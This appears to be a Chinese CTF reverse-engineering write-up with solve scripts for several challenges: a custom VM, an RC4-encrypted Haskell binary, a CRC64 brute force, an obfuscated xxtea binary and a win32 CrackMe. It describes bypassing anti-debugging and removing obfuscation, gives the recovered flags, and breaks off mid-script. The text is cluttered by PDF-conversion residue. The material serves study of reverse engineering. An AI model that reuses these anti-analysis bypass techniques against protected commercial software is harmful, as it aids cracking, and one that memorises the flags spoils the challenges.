v10 = &unk_100020588;
sub_10000C0C0(v10);
sub_100008510();
sub_1000130D0(200);
}
while ( word_100020040 < 49 );
v11 = sub_10000C190();
sub_10000C310(v11);
sub_100008510();
观察到实现了⼀个类vm,然后后⾯的sub_1000019B0是个字节位移的加密,灵感来源2024熵密杯某
题(
代码块□
char __fastcall sub_1000019B0(__int64 a1, __int64 a2)
{
v7 = a1;
v6 = a2;
{width="7.513888888888889in"
height="6.806748687664042in"} v3 = -1;
{width="0.3506933508311461in"
height="6.371526684164479in"} do{
if ( 4LL * ++v3 + 2 <= 39 )
v5[4 * v3] = (8 * *(_BYTE *)(v7 + 4LL * v3 + 1)) | (*(_BYTE
*)(v7 + 4LL* v3 + 2) >> 5);
if ( 4LL * v3 + 3 <= 39 )
v5[4 * v3 + 1] = (8 * *(_BYTE *)(v7 + 4LL * v3 + 2)) |
(*(_BYTE *)(v7 + 4LL * v3 + 3) >> 5);if ( 4LL * v3 <= 39 )
v5[4 * v3 + 2] = (*(_BYTE *)(v7 + 4LL * v3) >> 5) | (8 *
*(_BYTE *)(v7 + 4LL * v3 + 3));if ( 4LL * v3 + 1 <= 39 )
v5[4 * v3 + 3] = (8 * *(_BYTE *)(v7 + 4LL * v3)) | (*(_BYTE
*)(v7 + 4LL* v3 + 1) >> 5);
}
while ( v3 < 9 );
v4 = -1;
do
{
result = v5[(unsigned __int16)++v4];
*(_BYTE *)(v7 + v4) = result;
}
{width="7.513888888888889in"
height="0.9994269466316711in"}2425
26
while ( v4 < 39 ); return result;
}
然后可以发现密⽂和vm的opcode(这⾥⼀开始产⽣了多解,给各位解题的师傅带来了不好的体验,
在这⾥说声抱歉)
{width="7.479166666666667in"
height="3.4479155730533684in"}
opcode的格式是□
代码块□
{width="0.3506933508311461in"
height="0.7361100174978128in"}操作名 操作下标,操作值 OP_SUB, 2, 0x0C各操作与代码对应关系为:
代码块□
#define OP_ADD 0x01
{width="0.3506933508311461in"
height="2.1111100174978126in"}#define OP_SUB 0x02 #define OP_MUL
0x03 #define OP_DIV 0x04 #define OP_MOD 0x05 #define OP_AND 0x06
#define OP_OR 0x07 #define OP_XOR 0x08那么我们先还原位移加密然后再爆破vm部分其实就可以了。□
EXP□
解题脚本如下:
solve.py□
table = [0x0002, 0x0002, 0x000C, 0x0001, 0x001A, 0x0055, 0x0001,
0x0023,0x000C, 0x0002, 0x000E, 0x0009,0x0001, 0x001B, 0x0006, 0x0008, 0x0006,
0x0005, 0x0008, 0x0001, 0x0005, 0x0002, 0x001B, 0x000E, 0x0002,
0x0019, 0x0003,0x0002, 0x001A, 0x0004, 0x0008, 0x0004, 0x0008, 0x0001,
0x0003, 0x000C, 0x0002,0x000C, 0x000A, 0x0001, 0x0025,0x0002, 0x0001, 0x0020, 0x0002, 0x0001,
0x0009, 0x000C, 0x0008, 0x001A, 0x0005, 0x0002, 0x0004, 0x000D,
0x0008, 0x0008,0x000F,
{width="7.513888888888889in"
height="10.077554680664917in"}0x0002, 0x000A, 0x000E, 0x0001, 0x0010,
0x0007, 0x0001, 0x000C, 0x0007,0x0008, 0x0022, 0x0008, 0x0008,0x0015, 0x000A, 0x0001, 0x0027, 0x007E,
0x0002,{width="0.3506933508311461in"
height="9.64234251968504in"}0x0007, 0x0002, 0x0008, 0x000F, 0x0003,
0x0008, 0x000A, 0x000A,0x0001, 0x0022, 0x000B, 0x0002, 0x0012, 0x0008,
0x0002, 0x0019, 0x0009, 0x0008, 0x000E,0x0006, 0x0008, 0x0000,0x0005, 0x0001, 0x000A, 0x0008, 0x0008, 0x001B,
0x0007, 0x0008, 0x000D, 0x0006, 0x0008, 0x000D, 0x0004, 0x0008,0x0017,
0x000C, 0x0008, 0x0022, 0x000E, 0x0002, 0x0012, 0x0034, 0x0001,
0x0026, 0x0077][:123]ss =
[0x4a,0xab,0x9b,0x1b,0x61,0xb1,0xf3,0x32,0xd1,0x8b,0x73,0xeb,0xe9,0x73,0x6b,0x2
2,0x81,0x83,0x23,0x31,0xcb,0x1b,0x22,0xfb,0x25,0xc2,0x81,0x81,0x73,0x22,0xfa,0x
3,0x9c,0x4b,0x5b,0x49,0x97,0x87,0xdb,0x51][:40]# ss =
[0x63,0x69,0x55,0x73,0x66,0x4c,0x36,0x3e,0x7d,0x7a,0x31,0x6e,0x64,0x5d,0x2e,0x6
d,0x66,0x30,0x30,0x64,0x5f,0x79,0x63,0x64,0x30,0x24,0xb8,0x50,0x40,0x6e,0x64,0x
5f,0x69,0x33,0x89,0x6b,0x6a,0x32,0xf0,0xfb][:40]#print(ss, len(ss))
s = []
for i in range(0, 40, 4):
s.append(((ss[i+3]>>3)|(ss[i+2]<<5))&0xff)
s.append(((ss[i]>>3)|(ss[i+3]<<5))&0xff)
s.append(((ss[i+1]>>3)|(ss[i]<<5))&0xff)
s.append(((ss[i+2]>>3)|(ss[i+1]<<5))&0xff)#print(s)
flag = [0] * 40
flag1 = [0] * 40
for k in range(40):
for j in range(32, 127):
flag[k] = j
for i in range(0, len(table), 3):
if table[i] == 1:flag[table[i+1]] += table[i+2]
flag[table[i+1]]&=0xff
elif table[i] == 2:
flag[table[i+1]] -= table[i+2]
flag[table[i+1]]&=0xff
24
25
26
27
28
{width="7.513888888888889in"
height="6.277204724409449in"}2930
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
elif table[i] == 3:
flag[table[i+1]] *= table[i+2]
flag[table[i+1]]&=0xff
elif table[i] == 4:
flag[table[i+1]] //= table[i+2]
flag[table[i+1]]&=0xff
elif table[i] == 5:
flag[table[i+1]] %= table[i+2]
flag[table[i+1]]&=0xff
elif table[i] == 6:
flag[table[i+1]] &= table[i+2]
flag[table[i+1]]&=0xff
elif table[i] == 7:
flag[table[i+1]] |= table[i+2]
flag[table[i+1]]&=0xff
elif table[i] == 8:
flag[table[i+1]] ^= table[i+2]
flag[table[i+1]]&=0xff
if flag[k] == s[k]:
flag1[k] = j
#print(k, j)
break
# print("".join(map(chr, flag))) for i in range(len(flag1)):
print(chr(flag1[i]), end="")
最终得到flag:□
flag{L3@rn1ng_1n_0ld_sch00l_@nd_g3t_j0y}□梭罗的《⽡尔登湖》⾮常值得⼀读(⼜双叒叕植⼊书籍推荐哈哈)
"最⼤的收获和价值远不能受到⼈们的赞赏。我们很容易怀疑它们是否存在。我们很快把它们忘记
了。它们是最⾼的现实。也许最惊⼈、最真实的事实从来没有在⼈与⼈之间交流过。我每天⽣命的最
真实的收获,就像朝霞暮霭那样难以捉摸,⽆法⾔传。那是我抓到的⼀点⼉星尘,⼀⽚彩虹。"Summer□
出这题的设想和灵感来⾃于我的CTF领路⼈,然后⼀个有趣的Haskell题⽬就应运⽽⽣了。□
函数式语⾔的最⼤特点就是惰性计算和使⽤惰性列表来进⾏存储,惰性计算就是在调⽤⼀个值之前不
会对这个值进⾏计算,惰性列表存储类似于数据结构中的链表,存在头指针,然后跟着的是存储的数
据,数据存储是不连续的,也就是为什么这个题的密⽂⽐较难寻找的原因了。照例放⼀下题⽬的源码:
代码块□
{-# LANGUAGE ScopedTypeVariables #-}
import Control.Concurrent (threadDelay)
import Data.Word (Word8)import Data.Bits (xor)
import Data.Char (ord)
import Data.Array.IO
( getElems,
{width="7.513888888888889in"
height="10.952554680664917in"} newListArray,readArray,
{width="0.3506933508311461in"
height="10.51734251968504in"} writeArray,MArray(newArray),
IOUArray )
import Data.Array.MArray (readArray, writeArray) import System.IO
(hFlush, stdout)a :: [Word8]
a =
[ 0xec, 0xcf, 0xac, 0xf7, 0xe8, 0x48, 0x15, 0x64 , 0x93, 0x40, 0xcf,
0x6a, 0x86, 0x52, 0xfc, 0xcc , 0xf6, 0x86, 0x7a, 0x0d, 0x0d, 0x99,
0xda, 0xbc , 0x36, 0xbb, 0xbf, 0x32, 0x8d, 0x27, 0x5d, 0xe8 , 0xbd,
0x93, 0x35, 0x31, 0x96, 0xc2, 0x9b, 0x76 , 0x4e, 0x6f, 0x26, 0x37,
0xfe, 0xe3, 0xea, 0x85 , 0xe6, 0xd0]
keyStr :: String
keyStr = "Inkleqmp%q]Ncqv]Qwoogp"
initSBox :: IOUArray Int Word8 -> [Word8] -> IO ()
initSBox s key = dolet keyLen = length key
k = [ key !! (i `mod` keyLen) | i <- [0..255] ]
mapM_ (\i -> writeArray s i (fromIntegral i)) [0..255]
let loop :: Int -> Int -> IO ()loop j i | i > 255 = return ()
| otherwise = do
si <- readArray s i
let j' = (j + fromIntegral si + fromIntegral (k !! i))
`mod` 256
40
41
42
43
44
sj <- readArray s j'
writeArray s i sj
writeArray s j' si
loop j' (i + 1)
loop 0 0
45
46
47
48
49
50
51
52
{width="7.513888888888889in"
height="9.971649168853894in"}5354
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
crypt :: IOUArray Int Word8 -> IOUArray Int Word8 -> Int -> IO ()
crypt s d len = do
let loop :: Int -> Int -> Int -> IO ()
loop i j k | k >= len = return ()
| otherwise = do
let i' = (i + 1) `mod` 256
si <- readArray s i'
let j' = (j + fromIntegral si) `mod` 256
s_i <- readArray s i'
s_j <- readArray s j'
writeArray s i' s_j
writeArray s j' s_i
s_i' <- readArray s i'
s_j' <- readArray s j'
let t = (fromIntegral s_i' + fromIntegral s_j') `mod` 256
st <- readArray s t
d_k <- readArray d k
let newVal = d_k `xor` (st `xor` 0x23)
writeArray d k newVal
loop i' j' (k + 1)
loop 0 0 0
compareBytes :: [Word8] -> [Word8] -> Int -> Bool
compareBytes data1 data2 len = (take len data1) == (take len data2)
main :: IO () main = do
putStrLn "The waters of the world will meet again,"
hFlush stdout
threadDelay 1000000
putStrLn "and the Arctic Ocean and the Nile will merge in wet
clouds.\n"
putStrLn "Even if we roam, every road will bring us home.\n"
threadDelay 2000000
putStrLn "Now,let's find the truth behind this summer:"
pDataStr <- getLine
let inputStr = take 511 pDataStr
len = length inputStr
pDataArr <- newListArray (0, len - 1) (map (fromIntegral . ord)
inputStr) :: IO (IOUArray Int Word8)
拿到这个题⽬,没有什么好⼊⼿的办法,动调或者摁撕汇编了(预期其实就是这两种⽅法)
很多⼈应该找到了那个反编译Haskell的库(https://github.com/gereeter/hsdecomp),但是实在是
太⽼了,反编译不了是预期的。所以我们只能硬着头⽪进⾏调试
以下部分分析思路来⾃5m10v3师傅,我觉得写得⾮常好,就放到这⾥跟⼤家⼀块分享□进⼊□main□函数,可以看到□hs_main□以□ZCMain_main_closure□作为参数,指向□haskell□程序的真正⼊
⼝点。
{width="6.166665573053368in"
height="6.989582239720035in"}
□ZCMain_main_closure⾥⾯可以看到有Main_main_info,这个函数也调⽤了很多底层的函数□
{width="7.479166666666667in"
height="4.416666666666667in"}
ghczminternal_GHCziInternalziBase这个函数的第⼀个参数指向了sub_40F318,⽽sub_40F318⼜调
{width="7.145833333333333in"
height="3.5625in"}⽤sub_40F2D0,这个函数其实就是打印字符串□
{width="7.479166666666667in"
height="2.3854166666666665in"}
ghczminternal_GHCziInternalziList_length_info这个函数是检测⻓度的,我们可以断在这⾥看密⽂
和密钥的⻓度
{width="7.479166666666667in"
height="2.1041655730533684in"}
这⾥的这个rbx最后实际存储了⻓度,第⼀次断在这⾥获得密⽂⻓度0x32,第⼆次断下获得密钥⻓度
0x16□
{width="7.479166666666667in"
height="2.28125in"}
我们继续向下调试,在字符串列表能看到⼀串Inkleqmp%q]Ncqv]Qwoogp,推测这就是被加密的密
钥,那么我们调试到loc_43E370的时候发现这⾥经过了⼀些处理,会有字符出现,再次断到这⾥发现这⾥就是对密钥的处理
(这⾥是需要连续跑到三次才能跑到下⼀个字符,第⼀次会返回字符实际的值,,第⼆次返回⼀个1,
第三次会返回对应的⻓度,⽐如1,2)□
{width="7.479166666666667in"
height="3.0416655730533684in"}
{width="7.479166666666667in"
height="3.427082239720035in"}
和被加密的密钥对⽐,发现密钥异或了0x2,那么真正的密钥就是Klingsor's_Last_Summer(克林
索尔的最后夏天)
我们继续往下调试,发现这⾥其实不是单纯解密了密钥,因为密钥是循环被写⼊⼀个位置的,会调试
{width="7.479166666666667in"
height="2.4895833333333335in"}出⼤于0x16的序列,最后⼀次的返回值是0xFF□循环写⼊密钥,并且最后返回的⻓度是0xFF,我们可以联想到RC4的KSA过程,这⾥基本就可以确定是
rc4的加密算法了,那么接下来是寻找密⽂的过程,通过搜索Haskell的惰性存储⽅式,了解到⾮字符串
的数据是以惰性链表的形式存储的,它的内存存储⽅式和□C□语⾔中的数组⾮常不同,不是连续的内存块,⽽是由链式结构组成。
每个节点保存两个指针:⼀个指向当前的数据值,⼀个指向下⼀个列表元素(即尾部)
那么我们已知密钥出现在data段,那么去data段寻找密⽂□
{width="7.479166666666667in"
height="3.5729166666666665in"}
{width="7.208333333333333in"
height="3.5416655730533684in"}很快就发现了在密钥附近有链式的存储结构
{width="7.229166666666667in"
height="4.510416666666667in"}
然后就可以提取出密⽂,密⽂为
代码块□
0xec, 0xcf, 0xac, 0xf7, 0xe8, 0x48, 0x15, 0x64
{width="0.3506933508311461in"
height="1.881943350831146in"} , 0x93, 0x40, 0xcf, 0x6a, 0x86, 0x52,
0xfc, 0xcc
, 0xf6, 0x86, 0x7a, 0x0d, 0x0d, 0x99, 0xda, 0xbc
, 0x36, 0xbb, 0xbf, 0x32, 0x8d, 0x27, 0x5d, 0xe8
, 0xbd, 0x93, 0x35, 0x31, 0x96, 0xc2, 0x9b, 0x76
, 0x4e, 0x6f, 0x26, 0x37, 0xfe, 0xe3, 0xea, 0x85
, 0xe6, 0xd0尝试⽤密⽂解密rc4发现仍然不对,但是稍微根据flag头思考⼀下就会发现解得的值跟密⽂差了xor□
0x23,那么就能判断rc4之后还xor了0x23,当然直接动调单步跟也是可以的。□
Haskell这类的函数式语⾔程序最⼤的问题在于下内存读写断点是⽆法跟到⽐较逻辑的,这或许就是惰性计算的魅⼒所在吧。
EXP□
最终解题脚本如下:
{width="7.513888888888889in"
height="1.1713320209973754in"}代码块□
{width="0.3506933508311461in"
height="0.7360925196850394in"}def initialize_key_schedule(key):
key_length = len(key)
sbox = list(range(256))4
5
6
7
8
{width="7.513888888888889in"
height="6.277204724409449in"}910
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
j = 0
for i in range(256):
j = (j + sbox[i] + key[i % key_length]) % 256 sbox[i], sbox[j]
= sbox[j], sbox[i]
return sbox
def generate_keystream(sbox):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + sbox[i]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
keystream_value = sbox[(sbox[i] + sbox[j]) % 256]
yield keystream_value
key = [ord(c) for c in 'Klingsor\'s_Last_Summer']
ciphertext =
bytes.fromhex('eccfacf7e84815649340cf6a8652fcccf6867a0d0d99dabc36bbbf328d275de8
bd93353196c29b764e6f2637fee3ea85e6d0')
sbox = initialize_key_schedule(key)
keystream_generator = generate_keystream(sbox)
plaintext = ""
for byte in ciphertext:
plaintext += chr(byte ^ 0x23^next(keystream_generator))
print(plaintext)
得到flag:□
flag{Us3_H@sk3ll_t0_f1nd_th3_truth_1n_th1s_Summ3R}□希望师傅们通过这道题可以初窥Haskell逆向的冰⼭⼀⻆,本⼈也是在出题的过程中慢慢学习的Haskell
相关知识,另外推荐《克林索尔的最后夏天》,⿊塞⽤诗意的笔调勾画了克林索尔的形象。
"于是我愿重⾛这条路,带着不同的感触,聆听⼩溪,凝视夜空,⼀次⼜⼀次。"
Dragon□
直接clang编译⼀波,llvm□-dis也可以,ida⼀看爆破CRC64□
{width="7.479166666666667in"
height="3.531248906386702in"}
这⾥说⼀下为什么从0x2020□开始爆破,观察ascii码表就会发现0x20开始则是可⻅字符了。□
EXP□
代码块□
#include <stdio.h>
#include <string.h> #include <stdint.h>
{width="7.513888888888889in"
height="6.319444444444445in"}
uint64_t calculate_crc64_direct(const uint8_t* data, size_t
length) {{width="0.3506933508311461in"
height="5.881925853018373in"} uint64_t crc = 0xFFFFFFFFFFFFFFFF;for (size_t i = 0; i < length; i++) {
crc ^= static_cast<uint64_t>(data[i]) << 56;for (size_t j = 0; j < 8; j++) {
if (crc & 0x8000000000000000) {
crc = (crc << 1) ^ 0x42F0E1EBA9EA3693;
}
else {
crc <<= 1;
}
}
}
return crc ^ 0xFFFFFFFFFFFFFFFF;
}
uint64_t enc[] = { 0xdc63e34e419f7b47,
0x31ef8d4e7b2bfc6,0x12d62fbc625fd89e,
0x83e8b6e1cc5755e8,
26
27
28
29
{width="7.513888888888889in"
height="5.124426946631671in"}3031
32
33
34
35
36
37
38
39
40
41
42
43
44
45
0xfc7bb1eb2ab665cc,
0x9382ca1b2a62d96b,
0xb1fff8a07673c387,
0xda81627388e05e1,
0x9ef1e61ae8d0aab7,
0x92783fd2e7f26145,
0x63c97ca1f56fe60b,
0x9bd3a8b043b73aab };
int main() {
for (size_t i = 0; i < sizeof(enc); i++)
{
for (unsigned short j = 0x2020; j < 0xffff; j++)
{
if (calculate_crc64_direct(reinterpret_cast<const
uint8_t*>(&j), 2) == enc[i]) {
printf("%c%c",j & 0xFF,j >>8);
}
}
}
return 0;
}
得到flag:□ flag{LLVM_1s_Fun_Ri9h7?}
EzObf□
*部分内容来⾃不知道战队的liv师傅□
Ida分析⼀下就会发现,main会jmp到⼀个保护的段上□
{width="7.479166666666667in"
height="5.249998906386701in"}
我们仔细观察会发现其在popfq□与□pushfq之间是正确的指令,⽽底下的jmp□rax则是跳到下⼀个块,
也就是说,这个只是把指令打散了,我们把他抠出来就⾏了。
这⾥如果你⽤⾃动trace的话就会踩坑,⾸先⾥⾯塞了调⽤API的反调试,其次⾥⾯还有基于时间间隔
的反调试。
所以我们可以写个去混淆脚本把混淆去掉。
脚本如下(感谢□不知道□战队□liv师傅□的脚本,写的⾮常棒)□
IDC□
{width="7.513888888888889in"
height="2.7859153543307085in"}12
{width="0.3506933508311461in"
height="2.3506758530183727in"}34
5
6
7
8
9
10
static NopCode(Addr, Length)
{
auto i;
for (i = 0; i < Length; i++)
{
PatchByte(Addr + i, 0x90); }
}
static rol(value, count, bits = 32)
11
12
13
14
15
16
17
18
19
{width="7.513888888888889in"
height="10.957760279965004in"}2021
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
{
count = count % bits;
return ((value << count) | (value >> (bits - count))) & ((1 <<
bits) - 1);
}
// 搜索真实汇编代码的下⼀个地址
static FindEnd(Addr)
{
auto i;
for (i = 0; i < 0x90; i++)
{
auto v = Dword(Addr + i); if (v == 0x5153509C)
{
return Addr + i;
}
}
return 0;
}
// 搜索最后的jmp rax指令
static FindJmpRax(Addr)
{
auto i;
for (i = 0; i < 0x90; i++)
{
auto v = Word(Addr + i); if (v == 0xE0FF)
{
return Addr + i;
}
}
return 0;
}
// 搜索call $+5
static FindCall(Addr)
{
auto i;
for (i = 0; i < 0x90; i++)
{
auto v = Dword(Addr + i); if (v == 0xE8)
{
return Addr + i;
}
}
58
59
60
61
62
63
{width="7.513888888888889in"
height="7.221649168853893in"}6465
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
return 0;
}
static main()
{
auto StartAddr = 0x1401F400D;
while (1)
{
// 搜索真实汇编代码的下⼀个指令地址
auto EndAddr = FindEnd(StartAddr);
if (EndAddr == 0)
{
break;
}
// 真实汇编代码的字节⻓度
auto CodeLength = EndAddr - StartAddr - 13;
// 搜索Call $+5
auto CallAddr = FindCall(StartAddr + 13 + CodeLength); if (CallAddr ==
0)
{
break;
}
// call $+5的下⼀条指令地址,即call时push到栈的返回地址
auto CalcAddr = CallAddr + 5;
auto ebx = Dword(CalcAddr + 2);
auto rol_Value = Byte(CalcAddr + 8);
auto Mode = Dword(CalcAddr + 9);
ebx = rol(ebx, rol_Value);
// 搜索最尾部的jmp rax指令地址
auto JmpRaxAddr = FindJmpRax(StartAddr);
ida就可以f5了□
{width="7.479166666666667in"
height="4.9375in"}
去完了⼤概⻓这样,就能发现其中使⽤rdtsc来获得时间,并通过计算时间差来判断是否trace。□
可以发现是个改了delta的xxtea。直接解密就⾏了。□
注:⼀开始附件密⽂少了⼀半实在抱歉,后⾯补上了EXP□
代码块□
#include <iostream>
{width="7.513888888888889in"
height="4.202582020997375in"} #define DELTA 0x61C88646#define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^
((sum ^ y) + (key[(p &
{width="0.3506933508311461in"
height="3.767342519685039in"}3) ^ e] ^ z)))void xxtea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
rounds = 7;sum = rounds * DELTA;
y = v[0];do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
16
17
18
19
20
{width="7.513888888888889in"
height="6.0410936132983375in"}2122
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
int main()
{
srand(0xAABB);
uint32_t key[4] {};
uint32_t Enc[] { 0xa9934e2f, 0x30b90fa, 0xdcbf1d3, 0x328b5bde,
0x44fab4e, 0x1dcf0051, 0x85ebbe55, 0x93aa773a};
for (int i = 0; i < 4; i++) {
key[i] = rand();
}
xxtea(Enc, 8, key);
printf("%s", Enc);
return 0;
}
得到flag:□
flag{th15_15_51mpLe_obf_R19Ht?}后话:□
这个混淆是我写的⼀个⿊盒混淆⼯具中的⼀个功能,我花了⼤概5-6天左右的时间把他完成,其原理⼤
概就是:1. 解析汇编代码
2. 构建上下⽂关系
3. 修复基于rip寻址的代码□
4. 打乱代码分布顺序
5. 通过上下⽂关系构造跳转代码
6. 创建新段7. 写⼊代码。
我这个⼯具是⼀个可拓展的⿊盒混淆框架,不过还有很多问题,后⾯解决了会考虑开源。
CrackMe□
考的是□win32□窗⼝程序逆向、反调试对抗、多线程与异步。□
不过看到⼤家都是⽤的ScyllaHide,直接过的,下次我⼀定上检测□这⾥说⼀下反调试:
使⽤peb的标志位来检测□
使⽤NtSetInformationThread□设置线程属性□ThreadHideFromDebugger□来不让调试器调试□
{width="7.479166666666667in"
height="0.90625in"}
此题本意是让⼤家理清⼀下多线程逻辑的,但是呢函数确实不多,⼤家点点就到了check点。□
这⾥说⼀下多线程的逻辑,使⽤CONDITION_VARIABLE□条件变量来达到异步的效果,构造了⼀套"消
息分发"机制。使⽤std::queue构造消息队列,打造了⽣产者-消费者模型。□好了关于怎么做题,由于函数真的太少了,我们可以点点函数发现某些个check点,然后发现使⽤了
std::queue的成员函数获取消息。消息结构轻松可以逆出来□
{width="7.513888888888889in"
height="0.462998687664042in"}代码块□1
{width="7.513888888888889in"
height="1.6938713910761154in"}23
4
5
6
struct Message
{
unsigned int MsgID;
unsigned int BuffSize;
void* pBuff;
};
{width="6.958332239720035in"
height="2.1875in"}
那么既然结构出来了,我们就可以往下看该部分的check□
{width="5.927082239720035in"
height="4.458333333333333in"}
往下可以看到key[0]使⽤了第⼀段输⼊的crc值(crc被改了),继续看。□
{width="7.479166666666667in"
height="5.145832239720035in"}底下则是⽤了输⼊的内容+5做crc(⻓度为7),也就是说必然是有前⾯其他check点。□再往下看则是Idea加密。□
那么我们继续找其他check点,对着上⾯逆出来的 g_CheckQueue
做交叉引⽤。□
{width="7.479166666666667in"
height="2.8229155730533684in"}
我们可以在函数 sub_14000C850 中发现另⼀个check点□
{width="7.479166666666667in"
height="5.468748906386701in"}
观察⼀下就会发现这个是前7个字符做的奇奇怪怪的crc。□
那么其实也就剩下前5个字符,这时其实可以直接猜是flag{□如果不想猜怎么办,对着 sub_14000C850
函数交叉引⽤,找到上⼀层消息分发函数。为什么呢?很 明显 sub_14000C850
这个函数只是⼀个消息处理函数,其参数是传进来的message。□
{width="7.395833333333333in"
height="2.28125in"}
于是我们在他的上⾯发现了初始check点。□
{width="7.479165573053368in"
height="1.8020833333333333in"}
{width="7.479166666666667in"
height="4.114583333333333in"}
我们此时可以愉快的解密了。
EXP:□
⾸先前五个字符有了,需要爆破⼀下得到后⾯7位。□
脚本如下(感谢□不知道□战队□liv师傅□的脚本):□代码块□
unsigned int box1[] = {
0x00000000, 0xC0BA6CAC, 0x5A05DF1B, 0x9ABFB3B7, 0xB40BBE36,
0x74B1D29A,
0xEE0E612D, 0x2EB40D81, 0xB3667A2F, 0x73DC1683, 0xE963A534,
0x29D9C998, 0x076DC419, 0xC7D7A8B5,0x5D681B02, 0x9DD277AE, 0xBDBDF21D, 0x7D079EB1, 0xE7B82D06,
0x270241AA, 0x09B64C2B, 0xC90C2087,0x53B39330, 0x9309FF9C, 0x0EDB8832, 0xCE61E49E, 0x54DE5729,
0x94643B85,{width="7.513888888888889in"
height="10.160915354330708in"}0xBAD03604, 0x7A6A5AA8,
{width="0.3506933508311461in"
height="9.725675853018373in"} 0xE0D5E91F, 0x206F85B3, 0xA00AE279,
0x60B08ED5, 0xFA0F3D62, 0x3AB551CE, 0x14015C4F, 0xD4BB30E3,0x4E048354, 0x8EBEEFF8, 0x136C9856, 0xD3D6F4FA, 0x4969474D,
0x89D32BE1, 0xA7672660, 0x67DD4ACC,0xFD62F97B, 0x3DD895D7, 0x1DB71064, 0xDD0D7CC8, 0x47B2CF7F,
0x8708A3D3, 0xA9BCAE52, 0x6906C2FE,0xF3B97149, 0x33031DE5, 0xAED16A4B, 0x6E6B06E7, 0xF4D4B550,
0x346ED9FC, 0x1ADAD47D, 0xDA60B8D1,0x40DF0B66, 0x806567CA, 0x9B64C2B1, 0x5BDEAE1D, 0xC1611DAA,
0x01DB7106, 0x2F6F7C87, 0xEFD5102B,0x756AA39C, 0xB5D0CF30, 0x2802B89E, 0xE8B8D432, 0x72076785,
0xB2BD0B29, 0x9C0906A8, 0x5CB36A04,0xC60CD9B3, 0x06B6B51F, 0x26D930AC, 0xE6635C00, 0x7CDCEFB7,
0xBC66831B, 0x92D28E9A, 0x5268E236,0xC8D75181, 0x086D3D2D, 0x95BF4A83, 0x5505262F, 0xCFBA9598,
0x0F00F934, 0x21B4F4B5, 0xE10E9819,0x7BB12BAE, 0xBB0B4702, 0x3B6E20C8, 0xFBD44C64, 0x616BFFD3,
0xA1D1937F, 0x8F659EFE, 0x4FDFF252,0xD56041E5, 0x15DA2D49, 0x88085AE7, 0x48B2364B, 0xD20D85FC,
0x12B7E950, 0x3C03E4D1, 0xFCB9887D,0x66063BCA, 0xA6BC5766, 0x86D3D2D5, 0x4669BE79, 0xDCD60DCE,
0x1C6C6162, 0x32D86CE3, 0xF262004F,0x68DDB3F8, 0xA867DF54, 0x35B5A8FA, 0xF50FC456, 0x6FB077E1,
0xAF0A1B4D, 0x81BE16CC, 0x41047A60,0xDBBBC9D7, 0x1B01A57B, 0xEDB88321, 0x2D02EF8D, 0xB7BD5C3A,
0x77073096, 0x59B33D17, 0x990951BB,0x03B6E20C, 0xC30C8EA0, 0x5EDEF90E, 0x9E6495A2, 0x04DB2615,
0xC4614AB9, 0xEAD54738, 0x2A6F2B94,0xB0D09823, 0x706AF48F, 0x5005713C, 0x90BF1D90, 0x0A00AE27,
0xCABAC28B, 0xE40ECF0A, 0x24B4A3A6,0xBE0B1011, 0x7EB17CBD, 0xE3630B13, 0x23D967BF, 0xB966D408,
0x79DCB8A4, 0x5768B525, 0x97D2D989,0x0D6D6A3E, 0xCDD70692, 0x4DB26158, 0x8D080DF4, 0x17B7BE43,
0xD70DD2EF, 0xF9B9DF6E, 0x3903B3C2,23
24
25
26
27
{width="7.513888888888889in"
height="10.76331583552056in"}
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
0xA3BC0075, 0x63066CD9, 0xFED41B77, 0x3E6E77DB, 0xA4D1C46C, 0x646BA8C0,
0x4ADFA541, 0x8A65C9ED,
0x10DA7A5A, 0xD06016F6, 0xF00F9345, 0x30B5FFE9, 0xAA0A4C5E, 0x6AB020F2,
0x44042D73, 0x84BE41DF,
0x1E01F268, 0xDEBB9EC4, 0x4369E96A, 0x83D385C6, 0x196C3671, 0xD9D65ADD,
0xF762575C, 0x37D83BF0,
0xAD678847, 0x6DDDE4EB, 0x76DC4190, 0xB6662D3C, 0x2CD99E8B, 0xEC63F227,
0xC2D7FFA6, 0x026D930A,
0x98D220BD, 0x58684C11, 0xC5BA3BBF, 0x05005713, 0x9FBFE4A4, 0x5F058808,
0x71B18589, 0xB10BE925,
0x2BB45A92, 0xEB0E363E, 0xCB61B38D, 0x0BDBDF21, 0x91646C96, 0x51DE003A,
0x7F6A0DBB, 0xBFD06117,
0x256FD2A0, 0xE5D5BE0C, 0x7807C9A2, 0xB8BDA50E, 0x220216B9, 0xE2B87A15,
0xCC0C7794, 0x0CB61B38,
0x9609A88F, 0x56B3C423, 0xD6D6A3E9, 0x166CCF45, 0x8CD37CF2, 0x4C69105E,
0x62DD1DDF, 0xA2677173,
0x38D8C2C4, 0xF862AE68, 0x65B0D9C6, 0xA50AB56A, 0x3FB506DD, 0xFF0F6A71,
0xD1BB67F0, 0x11010B5C,
0x8BBEB8EB, 0x4B04D447, 0x6B6B51F4, 0xABD13D58, 0x316E8EEF, 0xF1D4E243,
0xDF60EFC2, 0x1FDA836E,
0x856530D9, 0x45DF5C75, 0xD80D2BDB, 0x18B74777, 0x8208F4C0, 0x42B2986C,
0x6C0695ED, 0xACBCF941,
0x36034AF6, 0xF6B9265A, 0xCCCCCCCC, 0xCCCCCC00, 0x00000100, 0x00000000,
0xF6B9265A, 0xCCCCCCCC,
0x00000008, 0x00000000};
uint32_t enc1[]{ 0x46A95BAD,
0x1CAC84B6,
0xA67CB2B2,
0x32188937,
0x4872D39F,
